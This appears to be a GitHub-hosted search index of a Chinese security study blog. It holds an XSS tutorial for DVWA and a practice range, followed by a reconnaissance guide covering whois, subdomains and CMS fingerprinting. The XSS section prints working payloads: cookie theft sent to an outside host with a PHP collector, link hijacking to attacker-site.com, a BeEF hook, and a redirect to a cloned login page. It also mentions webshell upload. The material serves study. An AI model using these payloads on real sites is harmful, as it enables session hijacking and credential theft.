-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathsearch.xml
95 lines (45 loc) · 57 KB
/
search.xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
<?xml version="1.0" encoding="utf-8"?>
<search>
<entry>
<title>XSS</title>
<link href="/2022/11/02/XSS/"/>
<url>/2022/11/02/XSS/</url>
<content type="html"><![CDATA[<h1 id="XSS漏洞"><a href="#XSS漏洞" class="headerlink" title="XSS漏洞"></a>XSS漏洞</h1><h2 id="一、XSS跨站脚本分类"><a href="#一、XSS跨站脚本分类" class="headerlink" title="一、XSS跨站脚本分类"></a>一、XSS跨站脚本分类</h2><h3 id="1-XSS漏洞介绍"><a href="#1-XSS漏洞介绍" class="headerlink" title="1. XSS漏洞介绍"></a>1. XSS漏洞介绍</h3><p>跨站脚本攻击(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。</p><p><img src="/2022/11/02/XSS/image-20221102222751206.png"></p><h3 id="2-反射型XSS"><a href="#2-反射型XSS" class="headerlink" title="2.反射型XSS"></a>2.反射型XSS</h3><p>反射型XSS又称非持久性XSS,这种攻击往往具有一次性。</p><p>攻击者通过邮件等形式将包含XSS代码的链接发送给正常用户,当用户点击时,服务器接受该用户的请求并进行处理,然后把带有XSS的代码发送给用户。用户浏览器解析执行代码,触发XSS漏洞。</p><pre><code><?php echo $_GET[“uname”];?></code></pre><p>当用户访问 <code>url?uname=<script>alert(“hello”);</script></code>时,触发代码,弹出对话框。</p><p><img src="/2022/11/02/XSS/image-20221102222944571.png"></p><h3 id="3-存储型XSS"><a href="#3-存储型XSS" class="headerlink" title="3.存储型XSS"></a>3.存储型XSS</h3><p>存储型XSS又称持久型XSS,攻击脚本存储在目标服务器的数据库中,具有更强的隐蔽性。</p><p>攻击者在论坛、博客、留言板中,发帖的过程中嵌入XSS攻击代码,帖子被目标服务器存储在数据库中。当用户进行正常访问时,触发XSS代码。</p><blockquote><p>DVWA 中的 Stored XSS</p></blockquote><p><img src="/2022/11/02/XSS/image-20221102223027351.png"></p><h3 id="4-DOM型XSS"><a href="#4-DOM型XSS" class="headerlink" title="4.DOM型XSS"></a>4.DOM型XSS</h3><p>DOM型XSS全称Document Object Model,使用DOM动态访问更新文档的内容、结构及样式。</p><blockquote><p>DOM结构图 </p><p><img src="/2022/11/02/XSS/image-20221102223204760.png"></p><blockquote><p>HTML标签都是节点,节点组成了节点树。通过HTML DOM 可以对树上的所有节点进行修改。</p><p>服务器响应不会处理攻击者脚本,而是用户浏览器处理这个响应时,DOM对象就会处理XSS代码,触发XSS漏洞。</p><p>例如:DVWA DOM XSS。</p></blockquote></blockquote><p><img src="/2022/11/02/XSS/image-20221102223128752.png"></p><h2 id="二、XSS盗取cookie"><a href="#二、XSS盗取cookie" class="headerlink" title="二、XSS盗取cookie"></a>二、XSS盗取cookie</h2><h3 id="1-cookie介绍"><a href="#1-cookie介绍" class="headerlink" title="1.cookie介绍"></a>1.cookie介绍</h3><p>Cookie 是在 HTTP 协议下,服务器或脚本可以维护客户工作站上信息的一种方式。Cookie 是由 Web 服务器保存在用户浏览器(客户端)上的小文本文件,它可以包含有关用户的信息。</p><p>目前有些 Cookie 是临时的,有些则是持续的。临时的 Cookie 只在浏览器上保存一段规定的时间,一旦超过规定的时间,该 Cookie 就会被系统清除</p><p>服务器可以利用Cookies包含信息的任意性来筛选并经常性维护这些信息,以判断在HTTP传输中的状态。</p><p>Cookies最典型的应用是判定注册用户是否已经登录网站,用户可能会得到提示,是否在下一次进入此网站时保留用户信息以便简化登录手续,这些都是Cookies的功用。另一个重要应用场合是“购物车”之类处理。用户可能会在一段时间内在同一家网站的不同页面中选择不同的商品,这些信息都会写入Cookies,以便在最后付款时提取信息。</p><h3 id="2-反射XSS盗取cookie"><a href="#2-反射XSS盗取cookie" class="headerlink" title="2.反射XSS盗取cookie"></a>2.反射XSS盗取cookie</h3><p>存在反射型XSS漏洞的站点位置 可以利用以下链接来盗取Cookie</p><pre><code>url?uname=<script>document.location=http://ip/cookie.php?cookie=”+document.cookie</script></code></pre><p>将连接发送到用户,用户点击即触发XSS漏洞。同时可以使用URL编码迷惑用户。</p><p>cookie.php代码:</p><pre><code class="php"><?php $cookie=$_GET['cookie']; file_put_contents('cookie.txt',$cookie);?></code></pre><p><code>http://127.0.0.1/dvwa/vulnerabilities/xss_r/?name=<script>document.location='http://127.0.0.1/xss_test/cookie.php?cookie='+document.cookie</script>#</code></p><p><img src="/2022/11/02/XSS/image-20221102223536115.png"></p><h3 id="3-利用cookie会话劫持"><a href="#3-利用cookie会话劫持" class="headerlink" title="3.利用cookie会话劫持"></a>3.利用cookie会话劫持</h3><p>打开Cookie.txt文件,找到Cookie值,访问目标站点,修改Cookie为Cookie.txt文件中的内容。</p><p><img src="/2022/11/02/XSS/image-20221102223732751.png"></p><h3 id="4-劫持会话后的操作"><a href="#4-劫持会话后的操作" class="headerlink" title="4.劫持会话后的操作"></a>4.劫持会话后的操作</h3><ul><li><p>进入后台寻找上传点等进一步利用漏洞给上传一句话Webshell。</p></li><li><p>修改配置等。</p></li></ul><h2 id="三、XSS篡改网页链接"><a href="#三、XSS篡改网页链接" class="headerlink" title="三、XSS篡改网页链接"></a>三、XSS篡改网页链接</h2><h3 id="1-JS代码讲解"><a href="#1-JS代码讲解" class="headerlink" title="1. JS代码讲解"></a><strong>1.</strong> JS代码讲解</h3><p>window.onload 当窗口加载时,执行匿名函数。</p><p>使用for循环遍历所有获得的链接a标签。</p><pre><code class="javascript"><script>window.onload = function() {var link=document.getElementsByTagName("a");for(j = 0; j < link.length; j++) { link[j].href="http://attacker-site.com/";} //替换为其他URL} </script></code></pre><h3 id="2-XSS篡改链接"><a href="#2-XSS篡改链接" class="headerlink" title="2. XSS篡改链接"></a>2. XSS篡改链接</h3><p>将篡改代码注入到对应的XSS位置。以DVWA 反射XSS为例。</p><p><img src="/2022/11/02/XSS/image-20221102224153591.png"></p><h3 id="3-篡改链接指向流量URL"><a href="#3-篡改链接指向流量URL" class="headerlink" title="3. 篡改链接指向流量URL"></a><strong>3.</strong> 篡改链接指向流量URL</h3><p>刷流量,某些站点的重定向。<code>https://weibo.com/2081681517/GEZpU841G?ref=feedsdk&type=comment#_rnd1540197060886</code></p><p><img src="/2022/11/02/XSS/image-20221102224256094.png"></p><h3 id="4-篡改链接指向恶意URL"><a href="#4-篡改链接指向恶意URL" class="headerlink" title="4. 篡改链接指向恶意URL"></a><strong>4.</strong> 篡改链接指向恶意URL</h3><p>Beef 进行恶意链接生成,以及利用hook.js执行其他命令。 <code><script src=”http://192.168.253.28:3000/hook.js”></script></code></p><p><img src="/2022/11/02/XSS/image-20221102224346244.png"></p><p><img src="/2022/11/02/XSS/image-20221102224337457.png"></p><h2 id="四、XSS盗取用户信息"><a href="#四、XSS盗取用户信息" class="headerlink" title="四、XSS盗取用户信息"></a>四、XSS盗取用户信息</h2><h3 id="1-盗取用户信息原理"><a href="#1-盗取用户信息原理" class="headerlink" title="1. 盗取用户信息原理"></a><strong>1.</strong> <strong>盗取用户信息原理</strong></h3><p>克隆网站登陆页面,利用存储XSS设置跳转代码,如果用户访问即跳转到克隆网站的登陆页面,用户输入登陆,账号和密码被存储。</p><p><img src="/2022/11/02/XSS/image-20221102224539026.png"></p><h3 id="2-setookit工具克隆网站"><a href="#2-setookit工具克隆网站" class="headerlink" title="2. setookit工具克隆网站"></a><strong>2.</strong> setookit工具克隆网站</h3><p>万能的社工工具。</p><p><img src="/2022/11/02/XSS/image-20221102224620726.png"></p><p><img src="/2022/11/02/XSS/image-20221102224611189.png"></p><h3 id="3-存储XSS跳转克隆网站"><a href="#3-存储XSS跳转克隆网站" class="headerlink" title="3. 存储XSS跳转克隆网站"></a><strong>3.</strong> 存储XSS跳转克隆网站</h3><p><code>xss payload: <script>window.location=”http://192.168.253.28/” </script></code></p><p><img src="/2022/11/02/XSS/image-20221102224644948.png"></p><h3 id="4-查看盗取账号和密码"><a href="#4-查看盗取账号和密码" class="headerlink" title="4. 查看盗取账号和密码"></a><strong>4.</strong> 查看盗取账号和密码</h3><p><img src="/2022/11/02/XSS/image-20221102224659113.png"></p><h2 id="五、没有过滤的XSS"><a href="#五、没有过滤的XSS" class="headerlink" title="五、没有过滤的XSS"></a>五、没有过滤的XSS</h2><h3 id="1-实验环境介绍"><a href="#1-实验环境介绍" class="headerlink" title="1. 实验环境介绍"></a><strong>1.</strong> 实验环境介绍</h3><p><a href="https://xss-quiz.int21h.jp/%E4%B8%80%E4%B8%AA%E6%97%A5%E6%9C%AC%E5%AE%89%E5%85%A8%E7%A0%94%E7%A9%B6%E5%91%98%E5%88%B6%E4%BD%9C%E7%9A%84XSS%E7%BB%83%E4%B9%A0%E9%9D%B6%E5%9C%BA%E3%80%82">https://xss-quiz.int21h.jp/一个日本安全研究员制作的XSS练习靶场。</a></p><p><img src="/2022/11/02/XSS/image-20221102224852989.png"></p><h3 id="2-html中文本标签b介绍"><a href="#2-html中文本标签b介绍" class="headerlink" title="2. html中文本标签b介绍"></a>2. html中文本标签b介绍</h3><p><b> 标签规定粗体文本。</b></p><p><img src="/2022/11/02/XSS/image-20221102224919182.png"></p><h3 id="3-探测XSS过程"><a href="#3-探测XSS过程" class="headerlink" title="3. 探测XSS过程"></a><strong>3.</strong> 探测XSS过程</h3><p>1、构造一个独一无二且不会被识别为恶意代码的字符串用来提交到页面。例如:123qweasdzxc</p><p>2、使用浏览器审查工具进行代码审查,寻找构造的字符串是否在页面中显示</p><p><img src="/2022/11/02/XSS/image-20221102224950418.png"></p><p>构造XSSpaylod</p><h3 id="4-闭合文本标签利用XSS"><a href="#4-闭合文本标签利用XSS" class="headerlink" title="4. 闭合文本标签利用XSS"></a><strong>4.</strong> 闭合文本标签利用XSS</h3><p>1、简单Payload: <code><script>alert(document.domain);</script> </code></p><p>2、闭合标签Payload:<code>“</b><script>alert(document.domain);</script></code> </p><p><img src="/2022/11/02/XSS/image-20221102225048555.png"></p><h2 id="六、标签属性中的XSS"><a href="#六、标签属性中的XSS" class="headerlink" title="六、标签属性中的XSS"></a>六、标签属性中的XSS</h2><h3 id="1-配置Chrome关闭XSS-Auditor"><a href="#1-配置Chrome关闭XSS-Auditor" class="headerlink" title="1. 配置Chrome关闭XSS-Auditor"></a><strong>1.</strong> 配置Chrome关闭XSS-Auditor</h3><p><a href="https://xss-quiz.int21h.jp/">https://xss-quiz.int21h.jp/</a> 利用XSS过程中会出现下图情况。配置Chrome –args –disable-xss-auditor</p><p><img src="/2022/11/02/XSS/image-20221102225307447.png"></p><p><img src="/2022/11/02/XSS/image-20221102225258512.png"></p><h3 id="2-属性中的XSS发现"><a href="#2-属性中的XSS发现" class="headerlink" title="2. 属性中的XSS发现"></a><strong>2.</strong> 属性中的XSS发现</h3><p>技巧:ctrl+F 搜索特定字符串</p><p><img src="/2022/11/02/XSS/image-20221102225333400.png"></p><h3 id="3-属性中的XSS闭合引入script"><a href="#3-属性中的XSS闭合引入script" class="headerlink" title="3. 属性中的XSS闭合引入script"></a><strong>3.</strong> 属性中的XSS闭合引入script</h3><p>闭合引号 尖括号,引入script脚本<code>“><script>alert(document.domain);</script></code></p><p><img src="/2022/11/02/XSS/image-20221102225430808.png"></p><h3 id="4-属性中的XSS闭合引入事件"><a href="#4-属性中的XSS闭合引入事件" class="headerlink" title="4.属性中的XSS闭合引入事件"></a>4.属性中的XSS闭合引入事件</h3><p><code>" onmouseover=alert(document.domain)></code></p><p><img src="/2022/11/02/XSS/image-20221102225502753.png"></p><h2 id="七、选择列表中的XSS"><a href="#七、选择列表中的XSS" class="headerlink" title="七、选择列表中的XSS"></a>七、选择列表中的XSS</h2><h3 id="1-HTML-select标签介绍"><a href="#1-HTML-select标签介绍" class="headerlink" title="1. HTML select标签介绍"></a>1. HTML select标签介绍</h3><p>select 元素可创建单选或多选菜单。</p><p><code><select> 元素中的 <option> 标签用于定义列表中的可用选项。</code></p><p><img src="/2022/11/02/XSS/image-20221102225700110.png"></p><h3 id="2-表单介绍"><a href="#2-表单介绍" class="headerlink" title="2. 表单介绍"></a>2. 表单介绍</h3><p>HTML 表单用于搜集不同类型的用户输入。</p><p><img src="/2022/11/02/XSS/image-20221102225719961.png"></p><h3 id="3-Burpsuite-测试XSS"><a href="#3-Burpsuite-测试XSS" class="headerlink" title="3. Burpsuite 测试XSS"></a><strong>3.</strong> <strong>Burpsuite</strong> 测试XSS</h3><p>使用Burpsuite截取HTTP请求,修改提交参数。</p><p><img src="/2022/11/02/XSS/image-20221102225822933.png"></p><p><img src="/2022/11/02/XSS/image-20221102225816176.png"></p><h3 id="4-闭合触发XSS"><a href="#4-闭合触发XSS" class="headerlink" title="4. 闭合触发XSS"></a>4. 闭合触发XSS</h3><p><code>Japan</option><script>alert(document.domain)</script></code></p><p><img src="/2022/11/02/XSS/image-20221102225843993.png"></p><h2 id="八、隐藏提交参数中的XSS"><a href="#八、隐藏提交参数中的XSS" class="headerlink" title="八、隐藏提交参数中的XSS"></a>八、隐藏提交参数中的XSS</h2><h3 id="1-HTML-表单隐藏参数介绍"><a href="#1-HTML-表单隐藏参数介绍" class="headerlink" title="1. HTML 表单隐藏参数介绍"></a>1. HTML 表单隐藏参数介绍</h3><p>隐藏域是用来收集或发送信息的不可见元素,对于网页的访问者来说,隐藏域是看不见的。当表单被提交时,隐藏域就会将信息用你设置时定义的名称和值发送到服务器上。</p><p>代码格式:<code><input type="hidden" name="..." value="..."> </code></p><p><img src="/2022/11/02/XSS/image-20221102230213287.png"></p><h3 id="2-Burpsutie抓包测试"><a href="#2-Burpsutie抓包测试" class="headerlink" title="2. Burpsutie抓包测试"></a>2. Burpsutie抓包测试</h3><p>使用Burpsutie进行抓包,截取提交的HTTP请求。</p><p><img src="/2022/11/02/XSS/image-20221102230242207.png"></p><h3 id="3-HTML中svg介绍"><a href="#3-HTML中svg介绍" class="headerlink" title="3. HTML中svg介绍"></a>3. HTML中svg介绍</h3><p>SVG 意为可缩放矢量图形(Scalable Vector Graphics)。</p><p>SVG 使用 XML 格式定义图像。</p><p>SVG 文件可通过以下标签嵌入 HTML 文档:<embed>、<object> 或者 <iframe>。</iframe></object></p><p>也可以使用svg标签插入。</p><p><code><svg/事件=””></code></p><h3 id="4-闭合触发XSS-1"><a href="#4-闭合触发XSS-1" class="headerlink" title="4. 闭合触发XSS"></a>4. 闭合触发XSS</h3><p><code>"><svg onload=alert(document.domain)>%0a </code></p><p><img src="/2022/11/02/XSS/image-20221102230349592.png"></p><p><img src="/2022/11/02/XSS/image-20221102230340888.png"></p><h2 id="九、限制输入长度的XSS"><a href="#九、限制输入长度的XSS" class="headerlink" title="九、限制输入长度的XSS"></a>九、限制输入长度的XSS</h2><h3 id="1-HTML表单文本框介绍"><a href="#1-HTML表单文本框介绍" class="headerlink" title="1. HTML表单文本框介绍"></a>1. HTML表单文本框介绍</h3><p>HTML 表单用于搜集不同类型的用户输入。表单元素指的是不同类型的 input 元素、复选框、单选按钮、提交按钮等等。text定义常规文本输入。</p><p>属性介绍:</p><ul><li>value 属性规定输入字段的初始值</li><li>readonly 属性规定输入字段为只读(不能修改)</li><li>disabled 属性规定输入字段是禁用的。被禁用的元素是不可用和不可点击的。被禁用的元素不会被提交。</li><li>size 属性规定输入字段的尺寸(以字符计)</li><li>maxlength 属性规定输入字段允许的最大长度</li><li>如设置 maxlength 属性,则输入控件不会接受超过所允许数的字符。</li><li>该属性不会提供任何反馈。如果需要提醒用户,则必须编写 JavaScript 代码</li></ul><blockquote><p>参考文档:<a href="http://www.w3school.com.cn/html/html_form_attributes.asp">http://www.w3school.com.cn/html/html_form_attributes.asp</a></p></blockquote><h3 id="2-XSS-Payload长度计算"><a href="#2-XSS-Payload长度计算" class="headerlink" title="2. XSS Payload长度计算"></a>2. XSS Payload长度计算</h3><p>使用Python 内置函数 len(字符串) 计算对应的字节数。</p><p><img src="/2022/11/02/XSS/image-20221102230639239.png"></p><h3 id="3-浏览器审查工具修改源码"><a href="#3-浏览器审查工具修改源码" class="headerlink" title="3.浏览器审查工具修改源码"></a>3.浏览器审查工具修改源码</h3><p><img src="/2022/11/02/XSS/image-20221102230653463.png"></p><h3 id="4-Payload触发XSS漏洞"><a href="#4-Payload触发XSS漏洞" class="headerlink" title="4. Payload触发XSS漏洞"></a>4. Payload触发XSS漏洞</h3><p><code>"><svg/onload=alert(document.domain)>%0a </code></p><p><img src="/2022/11/02/XSS/image-20221102230728145.png"></p>]]></content>
<categories>
<category> web攻防 </category>
</categories>
<tags>
<tag> XSS漏洞 </tag>
</tags>
</entry>
<entry>
<title>Linux学习</title>
<link href="/2022/11/02/Linux%E5%AD%A6%E4%B9%A0/"/>
<url>/2022/11/02/Linux%E5%AD%A6%E4%B9%A0/</url>
<content type="html"><![CDATA[]]></content>
</entry>
<entry>
<title>信息搜集</title>
<link href="/2022/10/29/%E4%BF%A1%E6%81%AF%E6%90%9C%E9%9B%86/"/>
<url>/2022/10/29/%E4%BF%A1%E6%81%AF%E6%90%9C%E9%9B%86/</url>
<content type="html"><![CDATA[<p>信息收集对于渗透测试可以说是重中之重,正所谓“知己知彼,百战不殆”。所以我们的信息收集也是一样,收集的信息自然也是越多越好。对于目标的信息收集,主要针对目标的服务器系统、数据库系统、中间件系统、应用程序系统、以及边界设备等信息。以及收集针对于系统管理员的信息收集。</p><h1 id="信息搜集"><a href="#信息搜集" class="headerlink" title="信息搜集"></a>信息搜集</h1><p>对于信息收集方式,可以分为以下两类:</p><p>1、主动信息收集:直接与目标进行交互,通过对交互过程中的信息进行收集。</p><p>例如:Nmap扫描、Burpsuite站点地图收集等。</p><p>2、被动信息收集:通过第三方引擎与目标交互,或不予目标交互查询具体数据库,获得目标的信息。</p><p>例如:Google Hacking、Shodan查询等。</p><h2 id="一、收集域名信息"><a href="#一、收集域名信息" class="headerlink" title="一、收集域名信息"></a>一、收集域名信息</h2><h3 id="1-域名介绍"><a href="#1-域名介绍" class="headerlink" title="1.域名介绍"></a>1.域名介绍</h3><p>域名(Domain Name),是由一串用点分隔的名字组成的Internet上某一台计算机或计算机组的名称,用于在数据传输时标识计算机的电子方位。</p><blockquote><p>例如:51cto.com</p><p>对于edu.51cto.com 以及<a href="http://www.51cto.com是该域名对应的子域名,而edu和www都是对应的主机头./">www.51cto.com是该域名对应的子域名,而edu和www都是对应的主机头。</a></p></blockquote><p>浏览网站过程:(从DNS服务器获得指定域名对应的IP地址)</p><p><img src="/2022/10/29/%E4%BF%A1%E6%81%AF%E6%90%9C%E9%9B%86/image-20221101101850193.png"></p><h3 id="2-Whois介绍"><a href="#2-Whois介绍" class="headerlink" title="2.Whois介绍"></a>2.Whois介绍</h3><p>whois是用来查询域名的IP以及所有者等信息的传输协议。简单说,whois就是一个用来查询域名是否已经被注册,以及注册域名的详细信息的数据库(如域名所有人、域名注册商)</p><p>不同域名后缀的whois信息需要到不同的whois数据库查询。如.com的whois数据库和.edu的就不同。每个域名或IP的WHOIS信息由对应的管理机构保存,例如,以.com结尾的域名的WHOIS信息由.com域名运营商VeriSign管理,中国国家顶级域名.cn域名由CNNIC(中国互联网络信息中心)管理</p><p>WHOIS协议。其基本内容是,先向服务器的TCP端口43建立一个连接,发送查询关键字并加上回车换行,然后接收服务器的查询结果。</p><p><img src="/2022/10/29/%E4%BF%A1%E6%81%AF%E6%90%9C%E9%9B%86/image-20221101102006771.png"></p><h3 id="3-Whois查询"><a href="#3-Whois查询" class="headerlink" title="3.Whois查询"></a>3.Whois查询</h3><p>Whois查询的重要性:通过Whois查询可以获得域名注册者邮箱地址等信息。一般情况下对于中小型网站域名注册者就是网站管理员。利用搜索引擎对Whois查询到的信息进行搜索,获取更多域名注册者的个人信息。</p><p>Whois查询方法:</p><ul><li><p>Web接口查询:</p><p><a href="https://whois.aliyun.com/">https://whois.aliyun.com/</a> 、 <a href="https://www.whois365.com/cn/%E3%80%81http://whois.chinaz.com/">https://www.whois365.com/cn/、http://whois.chinaz.com/</a> 、 <a href="https://whois.aizhan.com/">https://whois.aizhan.com/</a> </p></li><li><p>通过Whois命令行查询。</p><p>在Kali linux下自带了Whois查询工具,通过命令 whois 域名 进行查询。</p><p><img src="/2022/10/29/%E4%BF%A1%E6%81%AF%E6%90%9C%E9%9B%86/image-20221101102454529.png"></p></li></ul><h3 id="4-备案信息查询"><a href="#4-备案信息查询" class="headerlink" title="4.备案信息查询"></a>4.备案信息查询</h3><p>ICP备案介绍:Internet Content Provider网络内容提供商。</p><p>《互联网信息服务管理办法》指出互联网信息服务分为经营性和非经营性两类。国家对经营性互联网信息服务实行许可制度;对非经营性互联网信息服务实行备案制度。未取得许可或者未履行备案手续的,不得从事互联网信息服务。在中华人民共和国境内提供非经营性互联网信息服务,应当依法履行备案手续。未经国家机关单位许可备案,不得在中华人民共和国境内从事非经营性互联网信息服务。</p><p>备案好处:为了防止在网上从事非法的网站经营活动,打击不良互联网信息的传播,如果网站不备案的话,很有可能被查处以后关停。</p><p>Web接口查询:</p><ul><li><a href="https://beian.miit.gov.cn/#/Integrated/index">ICP/IP地址/域名信息备案管理系统 (miit.gov.cn)</a></li><li><a href="https://www.tianyancha.com/">天眼查-商业查询平台_企业信息查询_公司查询_工商查询_企业信用信息系统 (tianyancha.com)</a></li><li><a href="https://www.beianx.cn/">ICP备案查询网 - 网站备案查询 - 工信部域名备案查询实时数据 (beianx.cn)</a></li></ul><h2 id="二、收集子域名信息"><a href="#二、收集子域名信息" class="headerlink" title="二、收集子域名信息"></a>二、收集子域名信息</h2><h3 id="1-子域名介绍"><a href="#1-子域名介绍" class="headerlink" title="1. 子域名介绍"></a>1. 子域名介绍</h3><p>顶级域名:是”.com”、”.net”、”.org”、”.cn”等等。</p><p>子域名(Subdomain Name),凡顶级域名前加前缀的都是该顶级域名的子域名,而子域名根据技术的多少分为二级子域名,三级子域名以及多级子域名。</p><p>我国在国际互联网络信息中心正式注册并运行的顶级域名是.cn,这也是我国的一级域名。在顶级域名之下,我国的二级域名又分为类别域名和行政区域名两类。类别域名共6个, 包括用于科研机构的.ac;用于工商金融企业的.com;用于教育机构的.edu;用于政府部门的.gov;用于互联网络信息中心和运行中心的.net;用于非盈利组织的.org。而行政区域名有34个,分别对应于我国各省、自治区和直辖市。</p><blockquote><p>例如:<a href="http://www.snnu.edu.cn/">www.snnu.edu.cn</a> </p></blockquote><h3 id="2-挖掘子域名重要性"><a href="#2-挖掘子域名重要性" class="headerlink" title="2.挖掘子域名重要性"></a>2.挖掘子域名重要性</h3><p>子域名是某个主域的二级域名或者多级域名,在防御措施严密情况下无法直接拿下主域,那么就可以采用迂回战术拿下子域名,然后无限靠近主域。</p><blockquote><p>例如:</p><p><a href="http://www.xxxxx.com/">www.xxxxx.com</a> 主域不存在漏洞,并且防护措施严密。</p><p>而二级域名 edu.xxxxx.com存在漏洞,并且防护措施松散。</p></blockquote><h3 id="3-子域名挖掘方法"><a href="#3-子域名挖掘方法" class="headerlink" title="3.子域名挖掘方法"></a>3.子域名挖掘方法</h3><ul><li><p>子域名挖掘工具 如:Maltego CE、subDomainsBrute、dnsmaper、Layer子域名挖掘机</p><p><img src="/2022/10/29/%E4%BF%A1%E6%81%AF%E6%90%9C%E9%9B%86/image-20221101103552621.png"></p></li><li><p>搜索引擎挖掘 如: 在Google中输入 site:sina.com</p><p><img src="/2022/10/29/%E4%BF%A1%E6%81%AF%E6%90%9C%E9%9B%86/image-20221101120757615.png"></p></li><li><p>第三方网站查询:<a href="http://tool.chinaz.com/subdomain%E3%80%81https://dnsdumpster.com/">http://tool.chinaz.com/subdomain、https://dnsdumpster.com/</a></p></li><li><p>证书透明度公开日志枚举:<a href="https://crt.sh/">https://crt.sh/</a> 、<a href="http://censys.io/">http://censys.io/</a></p></li><li><p>其他途径:<a href="https://phpinfo.me/domain">https://phpinfo.me/domain</a> 、<a href="http://dns.aizhan.com/">http://dns.aizhan.com</a></p></li></ul><h3 id="4-刷洞思路"><a href="#4-刷洞思路" class="headerlink" title="4.刷洞思路"></a>4.刷洞思路</h3><p>针对某个具体SRC进行挖洞,如果直接针对主域进行渗透测试很可能是很难达到挖掘的效果。此时可以搜集对应的子域名,然后批量探测某些具体漏洞,从而更加快速容易的发现一些漏洞。之后将漏洞提交对应SRC获取奖金。</p><p>针对补天刷洞思路:对应没有指定厂商的刷洞,可以根据某些具体漏洞,通过URL采集获取目标,编写探测脚本批量探测,快速高效的刷洞。</p><p>注意:无论如何,都要保持警惕,不要触及不该触及的内容,不要影响公司业务,只做漏洞探测内容,确定存在漏洞即可。适可而止。</p><p>挖洞高峰期:在互联网上曝出某些新漏洞的时候,会有大量的该漏洞提交到漏洞平台获取奖金。</p><h3 id="拓展"><a href="#拓展" class="headerlink" title="拓展"></a>拓展</h3><h4 id="Maltego注册与安装"><a href="#Maltego注册与安装" class="headerlink" title="Maltego注册与安装"></a>Maltego注册与安装</h4><blockquote><p>详细见<a href="https://xxkt.org.cn/15019">Maltego注册与使用教程(服务器敏感信息收集工具)-SEO培训小小课堂 (xxkt.org.cn)</a></p></blockquote><p><strong>提炼精华</strong></p><p>注册使用火狐游览器,安装拓展<code>redirector</code>,出现人脸验证,完成注册</p><p><img src="/2022/10/29/%E4%BF%A1%E6%81%AF%E6%90%9C%E9%9B%86/image-20221101121412333.png"></p><p><img src="/2022/10/29/%E4%BF%A1%E6%81%AF%E6%90%9C%E9%9B%86/image-20221101121450026.png" alt="image-20221101121450026"></p><p>点击”Create new redirect”弹出一个对话框,按如下填写:</p><pre><code>Description:Google RecaptchaExample URL:https://www.google.com/recaptcha/api.jsInclude pattern:https://www.google.com/recaptcha/api.jsRedirect to:https://www.recaptcha.net/recaptcha/api.js</code></pre><p><img src="/2022/10/29/%E4%BF%A1%E6%81%AF%E6%90%9C%E9%9B%86/image-20221101121701936.png"></p><p><img src="/2022/10/29/%E4%BF%A1%E6%81%AF%E6%90%9C%E9%9B%86/image-20221101121644471.png"></p><p>选下图这个免费版本,其他默认安装即可</p><p><img src="/2022/10/29/%E4%BF%A1%E6%81%AF%E6%90%9C%E9%9B%86/image-20221101121838349.png"></p><h2 id="三、收集Web站点信息"><a href="#三、收集Web站点信息" class="headerlink" title="三、收集Web站点信息"></a>三、收集Web站点信息</h2><h3 id="1-CMS指纹识别"><a href="#1-CMS指纹识别" class="headerlink" title="1.CMS指纹识别"></a>1.CMS指纹识别</h3><p>CMS(内容管理系统),又称整站系统或文章系统。用于网站内容管理。用户只需要下载对应的CMS软件包,部署搭建,就可以直接利用CMS,简单方便。但是各种CMS都具有其独特的结构命名规则和特定的文件内容,因此可以利用这些内容来获取CMS站点的具体软件CMS与版本。</p><p>常见CMS:dedecms(织梦)、Discuz、Phpcms等。</p><p>CMS识别工具:</p><ul><li><p>在线工具 <a href="http://whatweb.bugscaner.com/look/">http://whatweb.bugscaner.com/look/</a> 、<a href="http://www.yunsee.cn/">http://www.yunsee.cn/</a></p><p><img src="/2022/10/29/%E4%BF%A1%E6%81%AF%E6%90%9C%E9%9B%86/image-20221101122311620.png"></p></li><li><p>本地工具 whatweb、</p><p>御剑web指纹识别程序(<a href="https://pan.baidu.com/share/link?shareid=437376&uk=3526832374%EF%BC%89">https://pan.baidu.com/share/link?shareid=437376&uk=3526832374)</a></p></li></ul><h3 id="2-针对CMS漏洞查询"><a href="#2-针对CMS漏洞查询" class="headerlink" title="2.针对CMS漏洞查询"></a>2.针对CMS漏洞查询</h3><p>对于查询到的CMS可以利用 <a href="https://www.hacking8.com/bug-web/bug-web-start.html%E7%BD%91%E7%AB%99%E6%9F%A5%E8%AF%A2%E6%8C%87%E5%AE%9ACMS%E7%9A%84%E6%BC%8F%E6%B4%9E%E3%80%82">https://www.hacking8.com/bug-web/bug-web-start.html网站查询指定CMS的漏洞。</a></p><h3 id="3-敏感目录信息"><a href="#3-敏感目录信息" class="headerlink" title="3.敏感目录信息"></a>3.敏感目录信息</h3><p>针对目标Web目录结构和敏感隐藏文件探测是非常重要的。在探测过程中很有可能会探测出后台页面、上传页面、数据库文件、甚至是网站源代码文件压缩包等。</p><p>探测工具:</p><ul><li>御剑后台扫描工具</li><li>wwwscan命令行工具</li><li>dirb命令行工具</li><li>dirbuster扫描工具</li></ul><h3 id="4-wordpress测试"><a href="#4-wordpress测试" class="headerlink" title="4.wordpress测试"></a>4.wordpress测试</h3><p>WordPress是使用PHP语言开发的博客平台,用户可以在支持PHP和MySQL数据库的服务器上架设属于自己的网站。也可以把 WordPress当作一个内容管理系统(CMS)来使用。</p><p>针对WordPress测试,可以使用wpscan工具进行对应安全测试。</p><p><img src="/2022/10/29/%E4%BF%A1%E6%81%AF%E6%90%9C%E9%9B%86/image-20221101123014527.png"></p><h2 id="四、收集端口信息"><a href="#四、收集端口信息" class="headerlink" title="四、收集端口信息"></a>四、收集端口信息</h2><h3 id="1-端口介绍"><a href="#1-端口介绍" class="headerlink" title="1.端口介绍"></a>1.端口介绍</h3><p>如果把IP地址比作一间房子 ,端口就是出入这间房子的门。真正的房子只有几个门,但是一个IP地址的端口可以有65536(即:2^16)个之多!端口是通过端口号来标记的,端口号只有整数,范围是从0 